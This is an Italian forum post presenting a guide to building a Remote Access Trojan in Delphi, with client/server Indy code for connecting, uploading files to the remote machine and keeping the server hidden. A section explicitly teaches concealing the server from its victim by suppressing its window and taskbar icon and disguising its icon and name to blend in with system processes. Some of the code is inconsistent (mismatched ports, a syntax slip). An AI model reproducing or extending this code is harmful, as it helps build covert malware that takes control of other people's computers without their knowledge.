Guida Malware Creare Un RAT Con Delphi

mrcamarium

Utente Silver
7 Gennaio 2022
105
24
6
56
PREMESSA
Dopo ore di ricerche in rete e oscuri labirinti sono riuscito a trovare "Una guida completa su come creare un Trojan in Delphi" è scritta in inglese datata 2003 che usa il linguaggio delphi 7 in giù. Adesso ho cominciato a tradurlo e a fare tutto il mio possibile ad aggiornarlo con il codice Delphi XE. Vi posto un po' alla volta la traduzione e i relativi codici. Premetto che nella programmazione sono un dilettante con la passione dell'elettronica. Ho già sviluppato dei software come un applicativo per la progettazione di circuiti elettronici e un software per l'invio della posta anonima e camuffata. Realizzare un RAT per me è più complesso, quindi se su questa guida vuole partecipare qualcuno è il benvenuto cosi miglioro il mio RAT e il manuale in mio possesso.

INTRODUZIONE.

In questo documento acquisirai le conoscenze su come programmare uno strumento di amministrazione remota. Questo documento è stato progettato per Delphi, che è l'ambiente di sviluppo rapido di applicazioni (RAD) per Windows.

CREAZIONE DI UN'APPLICAZIONE CLIENT/SERVER:
Avvia due istanze di Delphi. Ne useremo uno per il Client e uno per il Server. Passa alla tua prima copia di Delphi e cambia la didascalia del modulo in "Cliente". Ora passa alla seconda copia di Delphi e cambia la didascalia del modulo in "Server". Quando mi riferirò al tuo Cliente, parlerò della copia di Delphi che hai aperto con cui stai lavorando al Modulo Cliente, e viceversa.
Se dai un'occhiata alla scheda Internet della tavolozza dei componenti, vedrai i componenti TIdTCPClient e TIdTCPServer.
sul modulo Client e TIdTCPServer sul modulo server. Il loro posizionamento non ha importanza in quanto non verranno visualizzati in fase di esecuzione: sono componenti invisibili.

IL CLIENT:
Inserisci 2 caselle di modifica, 2 pulsanti e un'etichetta sul modulo. Modifica la proprietà Text del tuo Edit1 in "127.0.0.1" (il tuo IP locale). Cambia la proprietà Caption di Button1 in "Connetti". Cambia la didascalia di Button2 in "Disconnetti" e cambia la didascalia dell'etichetta in "Non connesso". Elimina il testo nella proprietà Text di Edit2.
Ora, fai clic sul tuo componente TIdTCPClient e modifica la proprietà della porta in "55555" (potrebbe essere qualsiasi porta che desideri purché non sia in conflitto con altri numeri di porta). L'evento OnClick per te Connetti" Button:
Codice:
procedure TForm1.Button1Click(Sender: TObject);
begin
client.Disconnect;
client.Port:=55555;
client.Host:=Edit1.text;
client.ReadTimeout := 10000;
client.Connect();
end;

Qui stiamo impostando la proprietà Indirizzo del nostro TIdTCPClient con il testo nel nostro Edit1. La proprietà Indirizzo è dove andrebbe l'IP a cui desideri connetterti. In secondo luogo, stiamo impostando la proprietà Active su True, il che significa che proverà a connettersi alle proprietà Port e Address che abbiamo specificato.
Sappiamo quando abbiamo stabilito una connessione quando l'evento OnConnect TIdTCPClient viene attivato. Crea l'evento e inserisci questo:
Codice:
procedure TForm1.TIdTCPClient1Connect(Sender: TObject);
begin
Label1.Caption := 'Connesso';
Button1.Enabled := False;
Button2.Enabled := True;
end;

Impostando la procedura per disconnettere il client:
Codice:
procedure TForm1.Button2Click(Sender: TObject);
begin
client.Disconnect;
end;

Questo si disconnetterà dalla connessione. Creiamo un evento OnDisconnect che verrà attivato quando ci disconnettiamo:​
Codice:
procedure TForm1.ClientDisconnect(Sender: TObject;)
begin
Label1.Caption := 'Disconnesso';
Button1.Enabled := True;
Button2.Enabled := False;
end;

IL SERVER:
Inserisci un pulsante e un'etichetta sul modulo. Imposta la proprietà Port di TIdTCPServer su "55555": deve essere la stessa porta del tuo client. Cambia la didascalia dell'etichetta in: "Server".
Adesso clicca sul Form 2 volte crea il gestore di eventi FormCreate e fai:

Codice:
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.MainFormOnTaskbar := False;
server.DefaultPort:=2630;
server.Active:=True;
end;

SEZIONE PRINCIPALE
In questa sezione spiegherò cose nuove man mano che emergono, ma gli argomenti trattati nella sezione per principianti non saranno trattati in modo molto dettagliato. Ogni sottotitolo conterrà nuove funzionalità che puoi aggiungere alla tua applicazione. Ricorda, ti sto solo dando qui le informazioni su come fare le cose. Espandilo con tutti i mezzi, aggiungi le tue idee e programmalo in base alle tue esigenze.

- PROGRAMMAZIONE DEL NOSTRO STRUMENTO DI AMMINISTRAZIONE REMOTA - (Client)

Apri due copie di Delphi. Ne useremo uno per lavorare sul lato client della nostra applicazione e l'altro per lavorare sul nostro server. Passa alla tua prima copia di Delphi e cambia la didascalia del modulo in "Client - Nessuna connessione". Ora passa alla seconda copia di Delphi e cambia la didascalia del modulo in "Server". Quando mi riferirò al tuo Cliente, parlerò della copia di Delphi che hai aperto con cui stai lavorando al Modulo Cliente, e viceversa.​
Rilascia un componente TIdTCPClient sul modulo client e rilascia un componente TIdTCPServer sul modulo server. Imposta la porta di entrambi i socket sulla porta su cui desideri eseguire l'applicazione. A questo punto, salva entrambe le parti dell'applicazione in due cartelle separate.

IL CLIENTE:
Inserisci TEdit, un TLabel e due TButton sul modulo. Cambia il nome del tuo TEdit in "IPBox" e cambia la didascalia di IPBox con l’IP della macchina a cui ti connetterai durante il test (forse: 127.0.0.1). La didascalia del tuo primo pulsante dovrebbe essere cambiata in "Connetti" e la seconda "Disconnetti".
Facciamo in modo che il nostro pulsante Connect ci segnali qualche errore di connessione, per evitare la finestra di errore di Windows. Utilizzando la gestione delle eccezioni con try..except, Windows visualizzerà un errore nella TMemo. Quindi inserisci questo nel tuo evento OnClick:
Codice:
begin
try
client.Port:=2630;
client.Host:=IP.text;
client.ReadTimeout := 10000;
client.Connect();
except
Memo1.Lines.Add('Errore Di Connessione');
end;
end;

E’ utile dichiarare lo stato di connessione in questo modo (evento OnConnect):
Codice:
Form1.Caption := 'Connessione Stabilita';

E per OnDisconnect:
Codice:
Form1.Caption := 'Nessuna connessione';

In questo sappiamo quando siamo connessi e disconnessi.
Si puoi aggiungere una riga al memo che dice "Connessione in corso..." o qualcosa del genere. Basta farlo nell'evento TIdTCPClient OnConnecting.
 
- Nascondere il Server -
Avendo realizzato il nostro bel server lo dobbiamo rendere invisibile all’utente, per ottenere un buon risultato dobbiamo procedere sia dal punto di vista psicologico che con delle modifiche sul programma, quindi la prima cosa da fare è cambiare l’icona del server con una icona che si possa confondere tra quelle che troviamo tra i processi, idem anche per il nome del server. A questo punto con l’uso del Blocco Note apriamo il file con l'estensione *.dpr e modifichiamo il codice in questo modo:
Codice:
begin
Application.Initialize;
Application.Title := 'Server';
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm := False;
Application.Run;
end.
Con la riga Application.ShowMainForm := False; il programma non lancerà la finestra.

In più per evitare che il programma si possa vedere come icona nel nostro programma dobbiamo aggiungere nel evento FormCreate(Sender: TObject);
Codice:
begin
Application.MainFormOnTaskbar := False;
end;
 
- COME INVIARE UN FILE AL SERVER -

LATO CLIENTE:
Inserisci un pulsante, un Edit nel modulo. Cambia la proprietà di Edit con "ToUpload". Cancella ogni proprietà di testo. Aggiungi una etichetta per distinguere l’Edit.
Cambia la didascalia del tuo pulsante in "Upload". Il codice del pulsante Upload:
Codice:
var
TFLFileOut: TFileStream;
begin
TFLFileOut := TFileStream.Create(ToUpload.Text, fmOpenRead or fmShareDenyWrite);
try
Client.IOHandler.Write(TFLFileOut, 0, true);
finally
TFLFileOut.Free;
end;
end;

LATO SERVER:
Per il server la cosa è più complessa. Quindi bisogna procedere in questo modo:
Codice:
procedure TForm1.ServerExecute(AContext: TIdContext);
var
FileName: string;
TFSFileIn: TFileStream;
begin
TThread.Synchronize(nil,
procedure
begin
showmessage('Arriva qualcosa...');
Filename := 'C:';
end);
TFSFileIn := TFileStream.Create(FileName, fmCreate);
try
AContext.Connection.IOHandler.ReadStream(TFSFileIn);
finally
TFSFileIn.Free;
end;

Nelle “Events” di TIdTCPServer bisogna richiamare alla voce OnExecute la procedura ServerExecute.